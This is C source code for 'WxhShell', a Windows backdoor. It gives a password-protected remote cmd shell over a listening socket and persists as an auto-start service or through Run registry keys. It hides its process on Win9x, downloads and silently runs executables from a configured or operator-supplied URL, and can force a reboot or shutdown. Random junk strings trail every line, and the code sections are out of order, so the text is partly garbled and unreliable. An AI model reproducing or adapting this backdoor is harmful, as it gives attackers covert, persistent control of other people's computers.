    if(Boot(SHUTDOWN)) sQ\HIU%]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7p'pz8n`X  
    else { 5+{oQs_  
    closesocket(wsh); 5xKod0bA  
    ExitThread(0); pFMJG<W9,  
    } OD[=fR|cp  
    break; U&(gNuR>J  
    } :s+?"'DP  
  // 获取shell p5rq>&"  
  case 's': { 93Gj#Mk  
    CmdShell(wsh); IIMf\JdM  
    closesocket(wsh); < (9 BO&  
    ExitThread(0); %ho?KU2j  
    break; LR.]&(kyd  
  } !_+FuF"@  
  // 退出 U7U&^s6`  
  case 'x': { *eXs7"H  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); OSuQ7V  
    CloseIt(wsh); KgYQxEbIW  
    break; 3bGU;2~}  
    } }Uj-R3]}K  
  // 离开 CEkf0%YJ  
  case 'q': { p);[;S  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); d\Up6F  
    closesocket(wsh); jK\kASwG  
    WSACleanup(); !b0A %1W;  
    exit(1); yo_zc<  
    break; J s33S)  
        } i0\]^F  
  } rvhMu}.  
  } ZX-A}  
x/]G"?Uix  
  // 提示信息 6E ^m*la%  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (oCpQDab@  
} 8rJf2zL  
  } ORX<ZO t1  
o4a@{nt^,  
  return; !+Cc^{  
} bly `m p8#  
3LQ u+EsS  
// shell模块句柄 ?^:5`  
int CmdShell(SOCKET sock) }|/<!l+;$  
{ e GAto  
STARTUPINFO si; 3`3my=   
ZeroMemory(&si,sizeof(si)); qMVuBv  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; TRgj`FG  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; lM#/F\  
PROCESS_INFORMATION ProcessInfo; X pK eN2=p  
char cmdline[]="cmd"; 3^H-,b0^  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); qOD^ P  
  return 0; It'kO jx]  
} YJz06E1 -9  
!6taOT>v  
// 自身启动模式 s 64@<oU<"  
int StartFromService(void) &`!H1E^  
{ ~.e~YI80  
typedef struct RK&RMN8@  
{ LCIe1P2  
  DWORD ExitStatus; USgO`l\}4  
  DWORD PebBaseAddress; p+nB@fN/  
  DWORD AffinityMask; ae0Mf0<#)  
  DWORD BasePriority; R-iWbLD  
  ULONG UniqueProcessId; }# Ji"e  
  ULONG InheritedFromUniqueProcessId; $WW7,  
}   PROCESS_BASIC_INFORMATION; bB/fU7<{)u  
66W J=? JV  
PROCNTQSIP NtQueryInformationProcess; BUL<FTg  
`]6W*^'PD  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ?` ebi|6  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "_rpErm }  
^Kl<<pUaV  
  HANDLE             hProcess; yJ; ;&  
  PROCESS_BASIC_INFORMATION pbi; #K-O<:s=y  
{vd +cE  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); A)SnPbI-p  
  if(NULL == hInst ) return 0; _!Z}HCk  
qpf|.m  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 5 r<cna  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); B.Z5+MgM  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 04X/(74  
l,QO+ >)z  
  if (!NtQueryInformationProcess) return 0; 5@bmm]  
;;^?vS  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -q-BP}r3  
  if(!hProcess) return 0; C?g*c  
\@NnL\ t u  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; SrWmV@"y  
HZ{DlH;&  
  CloseHandle(hProcess); 5C-n"8&C&  
>Zm|R|{BE  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); vHymSU/J  
if(hProcess==NULL) return 0; k^UrFl  
^D {v L  
HMODULE hMod; >I/~)B`jhE  
char procName[255]; bC&xN@4  
unsigned long cbNeeded; d$MewDW UN  
\rbvlO?}  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); i#U_g:~wC  
9M[   
  CloseHandle(hProcess); DQN"85AIZ  
w*Ze5j4@ \  
if(strstr(procName,"services")) return 1; // 以服务启动 cn_KHz=  
RBeQT=B8~  
  return 0; // 注册表启动 D0gz ((  
} do< N+iK  
Jj1lAg 0  
// 主模块 Io7 =Mc4  
int StartWxhshell(LPSTR lpCmdLine) `Go oSX  
{ 'Hq#9?<2M  
  SOCKET wsl; >hotkMX `3  
BOOL val=TRUE; }"^d<dvuz  
  int port=0; ~X) 1!Sr  
  struct sockaddr_in door; C !Lu`y  
w^ 8^0i-  
  if(wscfg.ws_autoins) Install(); f1Gyl  
gEq";B%?  
port=atoi(lpCmdLine); Xr|e%]!**  
h4>q~&Pd  
if(port<=0) port=wscfg.ws_port; Y-"7R>^I  
q+67Wc=  
  WSADATA data; `v Ebm Xb  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .uo:fxbd2  
9aKCO4  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   _ba.oIc  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 4':U rJ+  
  door.sin_family = AF_INET; N2EX`@_2  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Ymcc|u6$"  
  door.sin_port = htons(port); .Dyxul  
*ur[u*g  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Zdu8axK:  
closesocket(wsl); `hl1R3nBM  
return 1; aD?ySc}  
} 5[$Tpn#K7  
XV<{tqa  
  if(listen(wsl,2) == INVALID_SOCKET) { } qr ,  
closesocket(wsl); IqjH  
return 1; G]>P!]  
} Jy#2 1  
  Wxhshell(wsl); NK(; -~{P  
  WSACleanup(); X&Pj  
PKNpR  
return 0; ddeH-Z  
>Q# !.lH$W  
} IlP@a[:_  
0p \,}t\E  
// 以NT服务方式启动 wArtg'=X  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [/eRc  
{ 'miY"L:| O  
DWORD   status = 0;  .Aa(  
  DWORD   specificError = 0xfffffff; _dw6 C2]P  
EAnw:yUV(  
  serviceStatus.dwServiceType     = SERVICE_WIN32; n@| &jh  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; D5fhOq+g  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [yfi:|n1  
  serviceStatus.dwWin32ExitCode     = 0; pS<j>y  
  serviceStatus.dwServiceSpecificExitCode = 0; = M/($PA  
  serviceStatus.dwCheckPoint       = 0; P'CDV3+  
  serviceStatus.dwWaitHint       = 0; -]vPF|  
c9xc@G!  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,W&::/2<7  
  if (hServiceStatusHandle==0) return; RVe UQ%  
5Og=`T  
status = GetLastError(); A^hFRAg4  
  if (status!=NO_ERROR) hQDZ%>  
{ hX sH9R  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; VZ$FTM^b8  
    serviceStatus.dwCheckPoint       = 0; %N-f9o8  
    serviceStatus.dwWaitHint       = 0; Mhj.3nN  
    serviceStatus.dwWin32ExitCode     = status; km#Rh^  
    serviceStatus.dwServiceSpecificExitCode = specificError; oSqkAAGz\  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 79Si^n1\  
    return; tm280  
  } `!iVMTp  
O'<cEv'B*  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; dWAKIBe  
  serviceStatus.dwCheckPoint       = 0; 1Igo9rv  
  serviceStatus.dwWaitHint       = 0; =L?(mNHT  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); <gc\ ,P<ru  
} hiA%Tq?  
B<uUf)t  
// 处理NT服务事件,比如:启动、停止 H$n{|YO `  
VOID WINAPI NTServiceHandler(DWORD fdwControl) C@[f Z  
{ WscNjWQ^TD  
switch(fdwControl) 75t5:>"[  
{ 9zK5Y+!  
case SERVICE_CONTROL_STOP: ^ s@'nKc  
  serviceStatus.dwWin32ExitCode = 0; :raYt5n1,y  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ,~,{$\p   
  serviceStatus.dwCheckPoint   = 0; (#;<iu}  
  serviceStatus.dwWaitHint     = 0; $j!VJGVG  
  { _3?7iH  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); V:8ph`1  
  } yzQ^KqLH  
  return; A#B6]j)  
case SERVICE_CONTROL_PAUSE: 34\:1z+s M  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; u|a+ :r)*4  
  break; <[mvfw  
case SERVICE_CONTROL_CONTINUE: i=G.{.  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; atO/Tp  
  break; 6S2v3  
case SERVICE_CONTROL_INTERROGATE: v"dj%75O?e  
  break; ;\Vi~2!8  
}; /_ MEb42&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); cfEi]  
} 2m/=0sb\{  
H6PS7g"  
// 标准应用程序主函数 BVpRkUC"  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) L=wg"$  
{ w\z6-qa  
^Q$U.sN? R  
// 获取操作系统版本 MHVHEwr.{  
OsIsNt=GetOsVer(); GGR hM1II  
GetModuleFileName(NULL,ExeFile,MAX_PATH); " )87GQ(R  
\f7A j>  
  // 从命令行安装 zT5@wm  
  if(strpbrk(lpCmdLine,"iI")) Install(); -K K)}I`  
9e|]H+y  
  // 下载执行文件 ^"!j m  
if(wscfg.ws_downexe) { ]M;aVw<!  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) .(8sa8{N  
  WinExec(wscfg.ws_filenam,SW_HIDE); V:w=h>z8  
} -gpF%g`H  
mnM!^[|z  
if(!OsIsNt) { C4jq T  
// 如果时win9x,隐藏进程并且设置为注册表启动 aI6fPQe  
HideProc(); P`K?k<  
StartWxhshell(lpCmdLine); &91U(Go  
} k*8 ld-O  
else HjO-6F#s  
  if(StartFromService()) u~9gR@e2{  
  // 以服务方式启动 L[Dr[  
  StartServiceCtrlDispatcher(DispatchTable); FM3DJ?\L-  
else J c~{ E  
  // 普通方式启动 W1 qE,%cx  
  StartWxhshell(lpCmdLine); ^&W(|R-,J&  
KF"&9nB  
return 0; >6(91J  
} P7Ws$7x  
fQ^45ulz  
k2xOu9ncEj  
8W|qm;J98  
===========================================  OBY  
BQ ol>VRu  
t6u01r{~`  
*@|EaH/  
:Sx!jx>W  
)PU?`yLTr  
" av&4:O!  
4$=Dq$4z  
#include <stdio.h> wh\J)pA1  
#include <string.h> /OpVr15  
#include <windows.h> 4q`$nI Bi  
#include <winsock2.h> (\ze T5  
#include <winsvc.h> P-?ya!@"  
#include <urlmon.h> J0e~s  
RfMrGC^?  
#pragma comment (lib, "Ws2_32.lib") (P-Bmu!s  
#pragma comment (lib, "urlmon.lib") {:VUu?5-t;  
szY=N7\S*  
#define MAX_USER   100 // 最大客户端连接数 k{op,n#  
#define BUF_SOCK   200 // sock buffer Q]Fm4  
#define KEY_BUFF   255 // 输入 buffer 'L w4jq  
z@nJ-*'U8  
#define REBOOT     0   // 重启 pm-SDp>s  
#define SHUTDOWN   1   // 关机 Kzw )Q  
H h4G3h0  
#define DEF_PORT   5000 // 监听端口 F]hKi`@  
s:j"8ZH  
#define REG_LEN     16   // 注册表键长度 ==[a7|q  
#define SVC_LEN     80   // NT服务名长度 $ePBw~yu  
I$o^F/RH  
// 从dll定义API *;~*S4/P   
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); / ;U  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); B*+3A!{s  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); idLysxN  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ^ $M@yWX6  
HeagT(rN'  
// wxhshell配置信息 K; 7o+Xr  
struct WSCFG { (LW4z8e#  
  int ws_port;         // 监听端口 0ivlKe%  
  char ws_passstr[REG_LEN]; // 口令 ^<8 c`k )e  
  int ws_autoins;       // 安装标记, 1=yes 0=no qsjTo@A  
  char ws_regname[REG_LEN]; // 注册表键名 (GVH#}uB  
  char ws_svcname[REG_LEN]; // 服务名 =|lKB;  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 NzmVQ-4  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Fg3VD(D^U  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 +UxhSFU  
int ws_downexe;       // 下载执行标记, 1=yes 0=no l:O6`2Z  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" gHLBtl/  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 KWVEAHIn  
un4q,Ac~0  
}; %rpJZ t  
F)we^'X  
// default Wxhshell configuration 6t0!a@t  
struct WSCFG wscfg={DEF_PORT, %-y%Q.;k ?  
    "xuhuanlingzhe", %ec9`0^4S  
    1, (o/HLmr@Y  
    "Wxhshell", S~QL x  
    "Wxhshell", =X(8 [ e  
            "WxhShell Service", =v4;t'_^  
    "Wrsky Windows CmdShell Service", 1nv#Ehorg  
    "Please Input Your Password: ", S4j`=<T,  
  1, j +j2_\  
  "http://www.wrsky.com/wxhshell.exe", *t{$GBP  
  "Wxhshell.exe" i,Yq oe`  
    }; -_bHLoI  
6~KtT{MYQ  
// 消息定义模块 ceakTAB[  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";  5:mS~  
char *msg_ws_prompt="\n\r? for help\n\r#>"; fUh7PF%  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; D"WqJcDt  
char *msg_ws_ext="\n\rExit."; ,?"cKdiZ  
char *msg_ws_end="\n\rQuit."; pKf]&?FX  
char *msg_ws_boot="\n\rReboot..."; |kwBb>V  
char *msg_ws_poff="\n\rShutdown..."; r)P^CZm  
char *msg_ws_down="\n\rSave to "; ;}!hgyq  
g">E it*[  
char *msg_ws_err="\n\rErr!"; =Rl?. +uE  
char *msg_ws_ok="\n\rOK!"; ), >jBYMJ  
M+<xX)   
char ExeFile[MAX_PATH]; d, fX3  
int nUser = 0; @V/Lqia  
HANDLE handles[MAX_USER]; ?)$+W+vK  
int OsIsNt; lsV9-)yyl  
'-s Ai  
SERVICE_STATUS       serviceStatus; En:.U9?X  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; E,I*E{nd9  
(9_~R^='y  
// 函数声明 cqzd9L6=  
int Install(void); OI3UC=G  
int Uninstall(void); 0n25{N  
int DownloadFile(char *sURL, SOCKET wsh); 0f.rjd  
int Boot(int flag); d\Xi1&&  
void HideProc(void); rlEp&"+|M  
int GetOsVer(void); yUb$EMo \  
int Wxhshell(SOCKET wsl); 'j84-U{&)  
void TalkWithClient(void *cs); ,wJ#0?  
int CmdShell(SOCKET sock); |1GR:b24  
int StartFromService(void); *B 7+rd  
int StartWxhshell(LPSTR lpCmdLine); u<x2"0f  
}cK<2J#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); W=v4dy]B  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); f\sxx!kt  
wYtL1D(  
// 数据结构和表定义 kG:,Ff>  
SERVICE_TABLE_ENTRY DispatchTable[] = q=bW!.#?  
{ l MCoc'ae  
{wscfg.ws_svcname, NTServiceMain}, _qg)^M6  
{NULL, NULL} z4f\0uQ  
}; C:qb-10|A  
O$}p}%%y7  
// 自我安装 v\Zni4  
int Install(void) tETT\y|'  
{ #%CbZw@hJ9  
  char svExeFile[MAX_PATH]; Z:VqBqK  
  HKEY key; {@1C,8n;  
  strcpy(svExeFile,ExeFile); [h "*>J{  
d52l)8  
// 如果是win9x系统,修改注册表设为自启动 VUXG%511T  
if(!OsIsNt) { V[f-Nj Kf  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +u%^YBr  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); UUy%:t  
  RegCloseKey(key); n:zoN2lC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )i&z!|/2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +I$c+WfU  
  RegCloseKey(key); B4^+&B#  
  return 0; Ekx3GM_]  
    } o]0v#2l'  
  } l[=7<F  
} YQ}xr^VA  
else { t^0^He$Ot  
e)dPv:oK3  
// 如果是NT以上系统,安装为系统服务 l4+!H\2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); |zD{]y?S-  
if (schSCManager!=0) Pl_4;q!$  
{ ZhqrN]x  
  SC_HANDLE schService = CreateService rzJNHf=FVY  
  ( =5NrkCk#V  
  schSCManager, 5'f4=J$Z)  
  wscfg.ws_svcname, Z$R6'EUb1  
  wscfg.ws_svcdisp, /\L|F?+@  
  SERVICE_ALL_ACCESS, H=E`4E#k  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , [%(}e1T(  
  SERVICE_AUTO_START, ]M AB  
  SERVICE_ERROR_NORMAL, ,-PzUR4_Kj  
  svExeFile, gakmg#ki  
  NULL, qms+s~oA  
  NULL, qbjBN z  
  NULL, SVsLu2tVY  
  NULL, %"GF+  
  NULL t0_o .S  
  ); rQ|^H Nj  
  if (schService!=0) k CkSu-  
  { NvH9?Ek"  
  CloseServiceHandle(schService); m1x7f% _  
  CloseServiceHandle(schSCManager);  ,lX5-1H  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); VuqN)CE^Uq  
  strcat(svExeFile,wscfg.ws_svcname); OU;R;=/]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { >$,A [|R  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); V{17iRflf  
  RegCloseKey(key); 8<(qN> R  
  return 0; 1PWs">*(  
    } Bw-<xwD  
  } T'9I&h%\  
  CloseServiceHandle(schSCManager); yX%T-/XJ  
} <. j`n  
} OE87&Cl"{t  
'>[l1<d!G  
return 1; CW*Kd t  
} ]H8CVue  
UpL1C~&  
// 自我卸载 BrYU*aPW;  
int Uninstall(void) ,4oYKJ$+h  
{ x2p}0N  
  HKEY key; J2cqnwUV  
Wz)O,X^  
if(!OsIsNt) { 0yW#).D^b  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { n:JWu0,h  
  RegDeleteValue(key,wscfg.ws_regname); cW B>  
  RegCloseKey(key); IXb]\ )  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { } ).rD  
  RegDeleteValue(key,wscfg.ws_regname); mG4myQ?$  
  RegCloseKey(key); XMb]&VvH  
  return 0; :uhU<H<,f  
  } [.\uHt  
} Df;EemCh  
} >|%dN jf@Q  
else { RUcpdeo  
5/j7C>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); hwF9LD~^  
if (schSCManager!=0) UhuEE  
{ 3nb&Z_/e  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); VW^6qf/,  
  if (schService!=0) ConXP\M-  
  { y,{=*2Yt  
  if(DeleteService(schService)!=0) { _@I8B  
  CloseServiceHandle(schService); C Z8Fe$F  
  CloseServiceHandle(schSCManager); ?E1<>4S8  
  return 0; P" +!mSe^~  
  } 61|uvTX  
  CloseServiceHandle(schService); Kx.'^y  
  } _`yd"0 Ux  
  CloseServiceHandle(schSCManager);  pME17 af  
} ,|hM`<"?  
} ,lK=m~  
z3!j>X_w  
return 1; U ObI&*2  
} `"CIy_m  
)eFXjnHN  
// 从指定url下载文件 #clOpyT*  
int DownloadFile(char *sURL, SOCKET wsh) Jt79M(Hp!  
{ ; MU8@?yN  
  HRESULT hr; C[f'1O7  
char seps[]= "/"; Xup rl2+  
char *token; w,hl<=:(FB  
char *file; $4K( AEt[  
char myURL[MAX_PATH]; ~WH4D+  
char myFILE[MAX_PATH]; 8:9m< ^4S(  
2xBIfmR^y  
strcpy(myURL,sURL); 2=Sv#  
  token=strtok(myURL,seps); V~j:!=b%v  
  while(token!=NULL) f,QoA  
  { "`P/j+-rt  
    file=token; `#O%ZZ+  
  token=strtok(NULL,seps); ML6Y_|6 |  
  } 3vx5dUgl,  
)?35!s6  
GetCurrentDirectory(MAX_PATH,myFILE); AF ,*bb  
strcat(myFILE, "\\"); HUF],[N  
strcat(myFILE, file); Tb~|p_;o  
  send(wsh,myFILE,strlen(myFILE),0); (,Zy 2wr=  
send(wsh,"...",3,0); y/}[S@4uB  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); W\mj?R   
  if(hr==S_OK) N ]KS\  
return 0; Dep.Qfv{-  
else tHF -OarUO  
return 1; yW::`  
j8k5B"  
} >b2j j+8  
Jg3OM Ut  
// 系统电源模块 FT.6^)-  
int Boot(int flag) }DH3_M!  
{ }^|g|xl!  
  HANDLE hToken; uTsxSkHb/  
  TOKEN_PRIVILEGES tkp; s"u6po.'  
[ j'L *j  
  if(OsIsNt) { y$,K^f  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); =MQpYX  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 0ws1S(pq  
    tkp.PrivilegeCount = 1; kKbq?}W[  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 3khsGD@  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); l&rS\TCkp  
if(flag==REBOOT) { ITcgp K6k  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) MBy0Ky  
  return 0; k'O^HMAn!  
} VaYL#\;c<  
else { Swugt"`nN  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) f uzz3#  
  return 0; )`,||sQ  
} f3,qDbQyJ  
  } >Z0F n  
  else { xJCMxt2Y  
if(flag==REBOOT) { xBba&A]=  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _~q!<-Z  
  return 0; JQ5E;8J>  
} CC{*'p6  
else { yT[CC>]l  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Ew`(x30E  
  return 0; r~mZ?dI  
} t:MeSO  
} R/!lDv!  
g]kM7,/M  
return 1; e6?iQ0  
} K1`Z}k_p.  
Ynn:,  
// win9x进程隐藏模块 --S1p0  
void HideProc(void) Sq#AnD6To  
{ x/BtB"e*5  
VU8EjuOetb  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); YUGE>"{  
  if ( hKernel != NULL ) fU/&e^, 's  
  { n $Nw/Vm  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); r"E%U:y3P  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ALcin))+B  
    FreeLibrary(hKernel); +0,'B5 (E  
  } UCu0Xqf  
'3%JhG)#  
return; 1omjP`]|,  
} }%8 :8_Ke  
@= E~`  
// 获取操作系统版本 E[$"~|7|$  
int GetOsVer(void) @`Fv}RY{  
{ '=s{9lxn^  
  OSVERSIONINFO winfo; ^)J2tpr;]=  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); d_v]mfUF  
  GetVersionEx(&winfo); ko-3`hX`  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) [j3-a4W u  
  return 1; $,Eb(j  
  else Uu_g_b:z  
  return 0; 9Wu c1#  
} pyHU +B  
 3o_)x  
// 客户端句柄模块 _\/KI /  
int Wxhshell(SOCKET wsl) mS$9D{  
{ [zC1LTXe  
  SOCKET wsh; _sp, ,gz  
  struct sockaddr_in client; ;s*   
  DWORD myID; jF$bCbAUce  
z6IOVQ*r  
  while(nUser<MAX_USER) [Sr^CY P(  
{ ?g{--'L  
  int nSize=sizeof(client); A&?8 rc  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); K20,aWBq;3  
  if(wsh==INVALID_SOCKET) return 1; /gX=79  
[c^!;YBp)  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); UC e{V]T  
if(handles[nUser]==0) *|gY7Av*  
  closesocket(wsh); HbI'n,+  
else 7`s* {  
  nUser++; <wH"{G3?  
  } <USK6!-G  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); "U"phLX  
x/fhlf}a}=  
  return 0; gg0rkg  
} -gQtw% `x  
T }}T`Ce  
// 关闭 socket kk`K)PESi  
void CloseIt(SOCKET wsh) ^l:~r2  
{ PFKl6_(  
closesocket(wsh); (HEi;  
nUser--; 3 as~yF0  
ExitThread(0); opXxtYC@  
} d/8p?Km  
"|Ke/0rGB  
// 客户端请求句柄 f};RtRo2  
void TalkWithClient(void *cs) _2-fH  
{ OXxgnn>W'  
m/e*P*\ =  
  SOCKET wsh=(SOCKET)cs; FNN7[ku!  
  char pwd[SVC_LEN]; YujR}=B!/  
  char cmd[KEY_BUFF]; *M?[Gro/  
char chr[1]; \?D~&d,a=  
int i,j; oW5Ov  
70GwTK.{~  
  while (nUser < MAX_USER) { =.`:jZG  
|Q(3rcOrV"  
if(wscfg.ws_passstr) { pqCp>BO?O  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); C3K":JB  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !V'~<&  
  //ZeroMemory(pwd,KEY_BUFF); }ed{8"bj  
      i=0; .9u0WP95  
  while(i<SVC_LEN) { 2M+}o"g  
lC=-1*WH  
  // 设置超时 }PXtwp13&u  
  fd_set FdRead; bA-/"'Vp9  
  struct timeval TimeOut; *@VS^JB  
  FD_ZERO(&FdRead); )krBj F.$  
  FD_SET(wsh,&FdRead); B,q)<z6<  
  TimeOut.tv_sec=8; bhl9:`s  
  TimeOut.tv_usec=0; qEvbKy}  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); u?F^gIw  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); O:]e4r,'  
| |u  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); zH13 ~\  
  pwd=chr[0]; 6Y%{ YQ}s|  
  if(chr[0]==0xd || chr[0]==0xa) { 2@6Qifxd@  
  pwd=0; Ueu~803~  
  break; Lp7h'| ]u  
  } 0iAQ;<*xi  
  i++; 4Uk\hgT0  
    } z j F'CY  
ZBk br  
  // 如果是非法用户,关闭 socket aI\:7  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); zcy`8&{A<?  
} hz+O.k],?  
rQ-,mq  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Rb_%vOM  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y&W3CW\:  
xV0:K=  
while(1) { kz"QS.${  
h+!@`c>)Y  
  ZeroMemory(cmd,KEY_BUFF); 2M>`W5  
]Pl Ly:(  
      // 自动支持客户端 telnet标准   UL.YDU)  
  j=0; AZE  
  while(j<KEY_BUFF) { DC~1}|B"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); T8BewO=}  
  cmd[j]=chr[0]; IvX+yU  
  if(chr[0]==0xa || chr[0]==0xd) { ~_F<"40  
  cmd[j]=0; uC! dy  
  break; `J$7X  
  } _]zH4o<p  
  j++; l[6lXR&|  
    } 0m,q3  
`< 82"cAT{  
  // 下载文件 $!vK#8-&{  
  if(strstr(cmd,"http://")) { z?Cez*.h>  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;LC?3.  
  if(DownloadFile(cmd,wsh)) (@Kc(>(: Y  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); p=[SDk`  
  else m@W>ku  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ie[DTy  
  } 4$y P_3  
  else { Yy{(XBJ~%t  
I_Omv{&u  
    switch(cmd[0]) { gh-i| i,  
  F@b=S0}K  
  // 帮助 1'%n?\OK66  
